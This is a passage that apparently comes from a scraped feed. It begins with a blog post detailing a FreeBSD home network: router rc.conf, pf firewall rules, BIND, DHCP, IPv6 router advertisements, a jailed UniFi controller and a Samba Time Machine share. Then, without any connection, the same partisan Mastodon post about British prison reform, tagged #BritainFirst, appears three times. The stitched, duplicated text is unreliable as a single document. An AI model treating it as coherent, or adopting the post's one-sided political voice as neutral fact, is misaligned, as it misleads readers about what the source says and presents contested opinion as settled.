root@evn0:~ # dmidecode -s system-product-nameAPU2root@evn0:~ # sysctl hw.modelhw.model: AMD GX-412TC SOC                               root@evn0:~ # sysctl hw.physmemhw.physmem: 4234399744root@evn0:~ # zpool listNAME    SIZE  ALLOC   FREE  CKPOINT  EXPANDSZ   FRAG    CAP  DEDUP    HEALTH  ALTROOTzroot  12.5G  9.47G  3.03G        -         -    67%    75%  1.00x    ONLINE  -

The home router does… well, routing. It also does DHCP, DNS, SLAAC, and can act as a syslog server.

Here’s what the rc.conf looks like

clear_tmp_enable="YES"sendmail_enable="NONE"syslogd_flags="-a '172.16.100.0/24:*' -H"zfs_enable="YES"dumpdev="AUTO"hostname="evn0.illuriasecurity.com"pf_enable="YES"gateway_enable="YES"ipv6_gateway_enable="YES"sshd_enable="YES"# Get an IP address from the ISP's GPONifconfig_igb1="DHCP"# Internal routes with pingvinashenifconfig_igb0="inet 192.168.255.1 netmask 255.255.255.0"ifconfig_igb0_ipv6="inet6 2001:470:7914:7065::1 prefixlen 64"static_routes="pingvinashen"route_pingvinashen="-net 37.157.221.130/32 -gateway 192.168.255.2"ipv6_defaultrouter="2001:470:7914:7065::2"# Home Mgmt, Switch Mgmt, Home LAN, Home Guestifconfig_igb2="up"vlans_igb2="42 99 100 69"ifconfig_igb2_42="inet 172.31.42.1 netmask 255.255.255.0"ifconfig_igb2_99="inet 172.16.99.1 netmask 255.255.255.0"ifconfig_igb2_100="inet 172.16.100.1 netmask 255.255.255.0"ifconfig_igb2_100_ipv6="inet6 2001:470:7914:6a76::1 prefixlen 64"ifconfig_igb2_69="inet 192.168.69.1 netmask 255.255.255.0"ifconfig_igb2_69_ipv6="inet6 2001:470:7914:6969::1 prefixlen 64"# DNS and DHCPnamed_enable="YES"dhcpd_enable="YES"named_flags=""# NTPntpd_enable="YES"# Router Advertisement and LLDPrtadvd_enable="YES"lldpd_enable="YES"lldpd_flags=""

Here’s pf.conf, because security is important.

ext_if="igb1"bsd_if="igb0"int_if="igb2.100"guest_if="igb2.69"mgmt_if="igb2.42"sw_if="igb2.99"ill_net="172.16.0.0/16"nat pass on $ext_if from $int_if:network to any -> ($ext_if)nat pass on $ext_if from $mgmt_if:network to any -> ($ext_if)nat pass on $ext_if from $guest_if:network to any -> ($ext_if)set skip on { lo0 }block in allpass on $int_if   from $int_if:network   to anypass on $mgmt_if  from $mgmt_if:network  to anypass on $sw_if    from $sw_if:network    to anypass on $guest_if from $guest_if:network to anyblock quick on $guest_if from any to { $int_if:network, $mgmt_if:network, $ill_net, $sw_if:network }pass in on illuria0 from $ill_net to { $ill_net, $mgmt_if:network }pass inet  proto icmppass inet6 proto icmp6pass out   all   keep state

I’m sure there are places to improve, but it gets the job done and keeps the guest network isolated.

Here’s rtadvd.conf, for my IPv6 folks

igb2.100:\  :addr="2001:470:7914:6a76::":prefixlen#64:\  :rdnss="2001:470:7914:6a76::1":\  :dnssl="evn0.loc.illuriasecurity.com,loc.illuriasecurity.com":igb2.69:\  :addr="2001:470:7914:6969::":prefixlen#64:\  :rdnss="2001:470:7914:6969::1":

For DNS, I’m running BIND, here’s the important parts

listen-on     { 127.0.0.1; 172.16.100.1; 172.16.99.1; 172.31.42.1; 192.168.69.1; };listen-on-v6  { 2001:470:7914:6a76::1; 2001:470:7914:6969::1; };allow-query   { 127.0.0.1; 172.16.100.0/24; 172.31.42.0/24; 192.168.69.0/24; 2001:470:7914:6a76::/64; 2001:470:7914:6969::/64;};

And for DHCP, here’s what it looks like

subnet 172.16.100.0 netmask 255.255.255.0 {        range 172.16.100.100 172.16.100.150;        option domain-name-servers 172.16.100.1;        option subnet-mask 255.255.255.0;        option routers 172.16.100.1;        option domain-name "evn0.loc.illuriasecurity.com";        option domain-search "loc.illuriasecurity.com evn0.loc.illuriasecurity.com";}host zvartnots {    hardware ethernet d4:57:63:f1:5a:36;    fixed-address 172.16.100.7;}host unifi0 {    hardware ethernet 58:9c:fc:93:d1:0b;    fixed-address 172.31.42.42;}
[…]subnet 172.31.42.0 netmask 255.255.255.0 {        range 172.31.42.100 172.31.42.150;        option domain-name-servers 172.31.42.1;        option subnet-mask 255.255.255.0;        option routers 172.31.42.1;}subnet 192.168.69.0 netmask 255.255.255.0 {        range 192.168.69.100 192.168.69.150;        option domain-name-servers 192.168.69.1;        option subnet-mask 255.255.255.0;        option routers 192.168.69.1;}

So you’re wondering, what’s this unifi0? Well, that brings us to

T480s

This laptop has been gifted to me by [REDACTED] for my contributions to the Armenian government (which means when a server goes down and no one knows how to fix it, they called me and I showed up)

Here’s the hardware

root@t480s:~ # dmidecode -s system-versionThinkPad T480sroot@t480s:~ # sysctl hw.modelhw.model: Intel(R) Core(TM) i5-8350U CPU @ 1.70GHzroot@t480s:~ # sysctl hw.physmemhw.physmem: 25602347008root@t480s:~ # zpool listNAME    SIZE  ALLOC   FREE  CKPOINT  EXPANDSZ   FRAG    CAP  DEDUP    HEALTH  ALTROOTzroot   224G   109G   115G        -         -    44%    48%  1.00x    ONLINE  -

The T480s has access to VLAN 100, 42, 69, but the host itself has access only to VLAN 100 (LAN), while the jails can exist on other VLANs.

So I have a Jail named unifi0 that runs the Unifi Management thingie.

Here’s what rc.conf of the host looks like

clear_tmp_enable="YES"syslogd_flags="-ss"sendmail_enable="NONE"sshd_enable="YES"ntpd_enable="YES"# Set dumpdev to "AUTO" to enable crash dumps, "NO" to disabledumpdev="AUTO"zfs_enable="YES"hostname="t480s.evn0.loc.illuriasecurity.com"ifconfig_em0="up -rxcsum -txcsum"vlans_em0="100 42 69"ifconfig_em0_100="up"ifconfig_em0_42="up"ifconfig_em0_69="up"cloned_interfaces="bridge0 bridge100 bridge42 bridge69"create_args_bridge100="ether 8c:16:45:82:b4:10"ifconfig_bridge100="addm em0.100 SYNCDHCP"ifconfig_bridge100_ipv6="inet6 auto_linklocal"rtsold_flags="-i -F -m bridge100"rtsold_enable="YES"create_args_bridge42=" ether 8c:16:45:82:b4:42"create_args_bridge69=" ether 8c:16:45:82:b4:69"ifconfig_bridge42="addm em0.42"ifconfig_bridge69="addm em0.69"jail_enable="YES"jailer_dir="zfs:zroot/jailer"ifconfig_bridge0="inet 10.1.0.1/24 up"ngbuddy_enable="YES"ngbuddy_private_if="nghost0"dhcpd_enable="YES"lldpd_enable="YES"

I used Jailer to create the unifi0 jail, here’s what the jail.conf looks like

# vim: set syntax=sh:exec.clean;allow.raw_sockets;mount.devfs;unifi0 {  $id             = "6";  devfs_ruleset   = 10;  $bridge         = "bridge42";  $domain         = "evn0.loc.illuriasecurity.com";  vnet;  vnet.interface = "epair${id}b";  exec.prestart   = "ifconfig epair${id} create up";  exec.prestart  += "ifconfig epair${id}a up descr vnet-${name}";  exec.prestart  += "ifconfig ${bridge} addm epair${id}a up";  exec.start      = "/sbin/ifconfig lo0 127.0.0.1 up";  exec.start     += "/bin/sh /etc/rc";  exec.stop       = "/bin/sh /etc/rc.shutdown jail";  exec.poststop   = "ifconfig ${bridge} deletem epair${id}a";  exec.poststop  += "ifconfig epair${id}a destroy";  host.hostname   = "${name}.${domain}";  path            = "/usr/local/jailer/unifi0";  exec.consolelog = "/var/log/jail/${name}.log";  persist;  mount.fdescfs;  mount.procfs;}

Here are the important parts inside the jail

root@t480s:~ # cat /usr/local/jailer/unifi0/etc/rc.confifconfig_epair6b="SYNCDHCP"sendmail_enable="NONE"syslogd_flags="-ss"mongod_enable="YES"unifi_enable="YES"root@t480s:~ # cat /usr/local/jailer/unifi0/etc/start_if.epair6b ifconfig epair6b ether 58:9c:fc:93:d1:0b

Don’t you love it that you can see what’s inside the jail from the host? God I love FreeBSD!

Did I miss anything? I hope not.

Oh, for the homelabbers out there, the T480s is the one that runs things like Jellyfin if needed.

Finally, the tiny

Raspberry Pi 4, Model B

I found this in a closed, so I decided to run it for TimeMachine.

I guess all you care about is rc.conf

hostname="tm0.evn0.loc.illuriasecurity.com"ifconfig_DEFAULT="DHCP inet6 accept_rtadv"sshd_enable="YES"sendmail_enable="NONE"sendmail_submit_enable="NO"sendmail_outbound_enable="NO"sendmail_msp_queue_enable="NO"growfs_enable="YES"powerd_enable="YES"# Set dumpdev to "AUTO" to enable crash dumps, "NO" to disabledumpdev="AUTO"zfs_enable="YES"rtsold_enable="YES"samba_server_enable="YES"

And the Samba Configuration

[global]# Network settingsworkgroup = WORKGROUPserver string = Samba Server %vnetbios name = RPi4# Logginglog file = /var/log/samba4/log.%mmax log size = 50log level = 0# Authenticationsecurity = userencrypt passwords = yespassdb backend = tdbsammap to guest = Bad Usermin protocol = SMB2max protocol = SMB3# Apple Time Machine settingsvfs objects = catia fruit streams_xattrfruit:metadata = streamfruit:resource = streamfruit:encoding = nativefruit:locking = nonefruit:time machine = yes# File System supportea support = yeskernel oplocks = nokernel share modes = noposix locking = nomangled names = nosmbd max xattr size = 2097152# Performance tuningread raw = yeswrite raw = yesgetwd cache = yesstrict locking = no# Miscellaneouslocal master = nopreferred master = nodomain master = nowins support = no[tm]comment = Time Machine RPi4path = /usr/local/timemachine/%Ubrowseable = yesread only = novalid users = antranigvvfs objects = catia fruit streams_xattrfruit:time machine = yesfruit:advertise_fullsync = truefruit:time machine max size = 800G  # Adjust the size according to your needscreate mask = 0600directory mask = 0700

That’s pretty much it.

Conclusion

I love running homebrew servers, home networks and home labs. I love that (almost) everything is FreeBSD. The switch itself runs Linux, and the Unifi Access Point also runs Linux, both of which I’m pretty happy with.

While most homelabbers used ESXi in the past, I’m happy to see that most people are moving to open source solutions like Proxmox and Xen, but I think that FreeBSD Jails and bhyve is much better. I still don’t have a need for bhyve at the moment, but I would use it if I needed hardware virtualization.

Most homelabbers would consider the lack of Web/GUI interfaces as a con, but I think that it’s a pro. If I need to “replicate” this network, all I need to do is to copy some text files and modify some IP addresses / Interface names.

I hope this was informative and that it would be useful for anyone in the future.

That’s all folks…

Reply via email.

https://antranigv.am/posts/2024/06/freebsd-server-network-homelab/

#Containers #Dell #DellLatitudeE5470 #FreeBSD #homeServer #HowTo #Jailer #Jails #macOS #Networking #pf #Samba #Unifi #Unix #VNET

#containers #dell #delllatitudee5470 #freebsd #homeserver #howto

Be It Me Not You @[email protected] · 2025-09-16 · 18:25 UTC

🇬🇧 Another example of Britain’s broken system.

Lucy Connolly has come out of prison saying her “eyes have been opened” and is now calling for prison reform. And yet again, the narrative is flipped, sympathy for offenders, excuses for criminals, endless debates about how we should make prison “nicer.”

Where is the sympathy for the victims? Where are the reforms for law-abiding Britons who live in fear while offenders get excuses, second chances, and a platform to preach?

Prison is not meant to be a holiday camp. It is meant to be a punishment, a deterrent, and a chance for genuine rehabilitation, not an endless cycle of soft justice where the criminal becomes the victim and the real victims are forgotten.

Britain is tired of weak leadership. We are tired of watching our justice system bend over backwards for criminals while our streets grow more dangerous. Reform is needed, but not the kind that makes jail easier. We need reform that restores discipline, order, and respect for the law.

Stand firm, Britain. Justice must mean something. 🇬🇧✊

👉 Read more: https://www.gbnews.com/news/lucy-connolly-tells-nigel-farage-she-demands-prison-reform

#BritainFirst #UKPolitics #Justice #LawAndOrder #ProudBritish #EnoughIsEnough #Politics

#britainfirst #ukpolitics #justice #lawandorder #proudbritish #enoughisenough
Be It Me Not You @[email protected] · 2025-09-16 · 18:25 UTC

🇬🇧 Another example of Britain’s broken system.

Lucy Connolly has come out of prison saying her “eyes have been opened” and is now calling for prison reform. And yet again, the narrative is flipped, sympathy for offenders, excuses for criminals, endless debates about how we should make prison “nicer.”

Where is the sympathy for the victims? Where are the reforms for law-abiding Britons who live in fear while offenders get excuses, second chances, and a platform to preach?

Prison is not meant to be a holiday camp. It is meant to be a punishment, a deterrent, and a chance for genuine rehabilitation, not an endless cycle of soft justice where the criminal becomes the victim and the real victims are forgotten.

Britain is tired of weak leadership. We are tired of watching our justice system bend over backwards for criminals while our streets grow more dangerous. Reform is needed, but not the kind that makes jail easier. We need reform that restores discipline, order, and respect for the law.

Stand firm, Britain. Justice must mean something. 🇬🇧✊

👉 Read more: https://www.gbnews.com/news/lucy-connolly-tells-nigel-farage-she-demands-prison-reform

#BritainFirst #UKPolitics #Justice #LawAndOrder #ProudBritish #EnoughIsEnough #Politics

#britainfirst #ukpolitics #justice #lawandorder #proudbritish #enoughisenough
Be It Me Not You @[email protected] · 2025-09-16 · 18:25 UTC

🇬🇧 Another example of Britain’s broken system.

Lucy Connolly has come out of prison saying her “eyes have been opened” and is now calling for prison reform. And yet again, the narrative is flipped, sympathy for offenders, excuses for criminals, endless debates about how we should make prison “nicer.”

Where is the sympathy for the victims? Where are the reforms for law-abiding Britons who live in fear while offenders get excuses, second chances, and a platform to preach?

Prison is not meant to be a holiday camp. It is meant to be a punishment, a deterrent, and a chance for genuine rehabilitation, not an endless cycle of soft justice where the criminal becomes the victim and the real victims are forgotten.

Britain is tired of weak leadership. We are tired of watching our justice system bend over backwards for criminals while our streets grow more dangerous. Reform is needed, but not the kind that makes jail easier. We need reform that restores discipline, order, and respect for the law.

Stand firm, Britain. Justice must mean something. 🇬🇧✊

👉 Read more: https://www.gbnews.com/news/lucy-connolly-tells-nigel-farage-she-demands-prison-reform

#BritainFirst #UKPolitics #Justice #LawAndOrder #ProudBritish #EnoughIsEnough #Politics

#politics #enoughisenough #proudbritish #lawandorder #justice #ukpolitics